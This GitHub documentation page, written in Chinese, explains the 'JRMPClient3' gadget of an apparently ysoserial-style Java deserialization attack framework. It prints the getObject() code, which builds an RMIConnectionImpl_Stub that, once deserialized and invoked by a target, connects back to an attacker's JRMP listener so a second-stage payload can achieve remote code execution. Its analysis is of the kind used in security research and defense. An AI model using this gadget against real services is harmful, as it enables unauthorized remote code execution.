Skip to content

Latest commit

 

History

History
52 lines (44 loc) · 3.36 KB

File metadata and controls

52 lines (44 loc) · 3.36 KB

JRMPClient3(JRMPClient3)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖:无显式第三方依赖(依赖 JDK 内置 javax.management.remote.rmi.RMIConnectionImpl_Stubsun.rmi.*

作用

RMIConnectionImpl_Stub 作为承载类构造一个"指向攻击者 JRMP 端点"的 RMI Stub 对象。目标反序列化并(后续)触碰该 stub 的远程方法时,会向攻击者监听器发起出站 JRMP 连接,由监听器投递二次序列化 payload。它是 JRMPClient2 的同族变体——同样打回连,但不篡改 UnicastRemoteObject.ssf,而是直接以 stub 形式出网。

链接标签

  • 入口 tagsJavaNativeDeserialize —— 承接 Java 原生反序列化入口。
  • END链尾终结点,自身即完成出站利用,其后不再接 gadget。
  • 衔接 nextTags:空。
  • excludes:空。

源码剖析

getObject() 结构与 JRMPClient2 前半段一致,差异在承载对象:

public Object getObject() throws Exception {
    int sep = this.address.indexOf(58);        // 解析 "host:port"
    if (sep < 0) { port = new Random().nextInt(65535); host = this.address; }
    else { host = this.address.substring(0, sep); port = Integer.valueOf(this.address.substring(sep + 1)); }
    ObjID id = new ObjID(new Random().nextInt());
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));      // 指向攻击者端点
    RMIConnectionImpl_Stub obj = new RMIConnectionImpl_Stub(ref);     // 用 stub 直接承载 ref
    return obj;
}

逐段解释:

  • 端点与引用:同样以 TCPEndpoint(host, port) + LiveRef + UnicastRef 组成指向攻击者的远程引用 ref
  • 承载差异:直接 new RMIConnectionImpl_Stub(ref)RMIConnectionImpl_Stub 是 JMX 远程连接的标准 stub,构造时把 ref 存入其父类 RemoteObject.ref 字段;它本身可序列化(RemoteObject 自定义了 writeObject/readObject 序列化 ref)。
  • 触发点:反序列化恢复该 stub 后,一旦其任意远程方法(stub 内部通过 super.ref.invoke(...))被调用,UnicastRef 就会连往 ref 所指端点,产生出站 JRMP 连接。相比 JRMPClient2 借 ssf 代理触发,此变体的触发依赖对 stub 方法的调用路径,绕过点/兼容性不同。
  • invoke 仅调用 getObject(),不取 chain.doCreate,为自足终结点。

参数(@Param)

字段 名称 说明 默认 可选值
address JRMPListener Address 攻击者 JRMP 监听器地址 host:port 127.0.0.1:13999 任意

适用版本与原理要点

  • description 标注承载类 javax.management.remote.rmi.RMIConnectionImpl_Stub
  • 未标注 JDK 上限依赖,但作为 JRMP 出网型,同样受高版本 RMI 加固(useCodebaseOnly、8u241+ 收敛)影响;需目标可主动出网。
  • RCE 由攻击者监听端返回的二次 payload 完成,本 gadget 只负责建立回连。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。

关联

  • 同族:JRMPClient2UnicastRemoteObject + 恶意 ssf 变体)
  • 反向配套:JRMPListener(在目标上开监听端口)
  • 上游入口:任何 JavaNativeDeserialize 反序列化 sink。